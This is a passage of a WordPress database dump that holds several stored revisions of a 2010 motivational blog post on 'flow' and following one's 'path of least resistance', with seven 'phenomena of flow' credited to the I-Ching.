I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\n\n<strong>The flow of critical moments</strong>\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\n\n<strong>The flow of learning cycles</strong>\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\n\n<strong>The flow of failing forward</strong>\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\n\n<strong>The flow of new opportunities</strong>\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\n\n<strong>The flow of your commitments</strong>\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\n\n<strong> </strong>\n\n<strong>The flow of your perseverance</strong>\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\n\n<strong>The flow of your momentum</strong>\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\n\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\n\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\n\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\n</strong>\n\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-10', '', '', '2010-08-12 18:13:32', '2010-08-13 01:13:32', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-10/', 0, 'revision', '', 0),
(1038, 2, '2010-08-12 18:15:47', '2010-08-13 01:15:47', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-11', '', '', '2010-08-12 18:15:47', '2010-08-13 01:15:47', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-11/', 0, 'revision', '', 0),
(1039, 2, '2010-08-12 18:15:59', '2010-08-13 01:15:59', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-12', '', '', '2010-08-12 18:15:59', '2010-08-13 01:15:59', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-12/', 0, 'revision', '', 0),
(1040, 2, '2010-08-12 18:18:18', '2010-08-13 01:18:18', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the game you are playing is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–   defined as your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-13', '', '', '2010-08-12 18:18:18', '2010-08-13 01:18:18', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-13/', 0, 'revision', '', 0),
(1041, 2, '2010-08-12 18:19:24', '2010-08-13 01:19:24', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the game you are playing is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–   defined as your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract to you others  who are playing the same game at higher levels than you, new  opportunity and possibilities to up your game will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-14', '', '', '2010-08-12 18:19:24', '2010-08-13 01:19:24', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-14/', 0, 'revision', '', 0),
(1042, 2, '2010-08-12 18:19:34', '2010-08-13 01:19:34', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the game you are playing is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–   defined as your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract to you others  who are playing the same game at higher levels than you, new  opportunity and possibilities to up your game will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-15', '', '', '2010-08-12 18:19:34', '2010-08-13 01:19:34', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-15/', 0, 'revision', '', 0);
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(1043, 2, '2010-08-12 18:26:10', '2010-08-13 01:26:10', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the game you are playing is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–   defined as your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract to you others  who are playing the same game at higher levels than you, new  opportunity and possibilities to up your game will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the <a href="http://en.wikipedia.org/wiki/I_Ching" target="_blank"> I-Ching</a>, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-16', '', '', '2010-08-12 18:26:10', '2010-08-13 01:26:10', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-16/', 0, 'revision', '', 0),
(1044, 2, '2010-08-12 18:26:19', '2010-08-13 01:26:19', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the game you are playing is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–   defined as your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  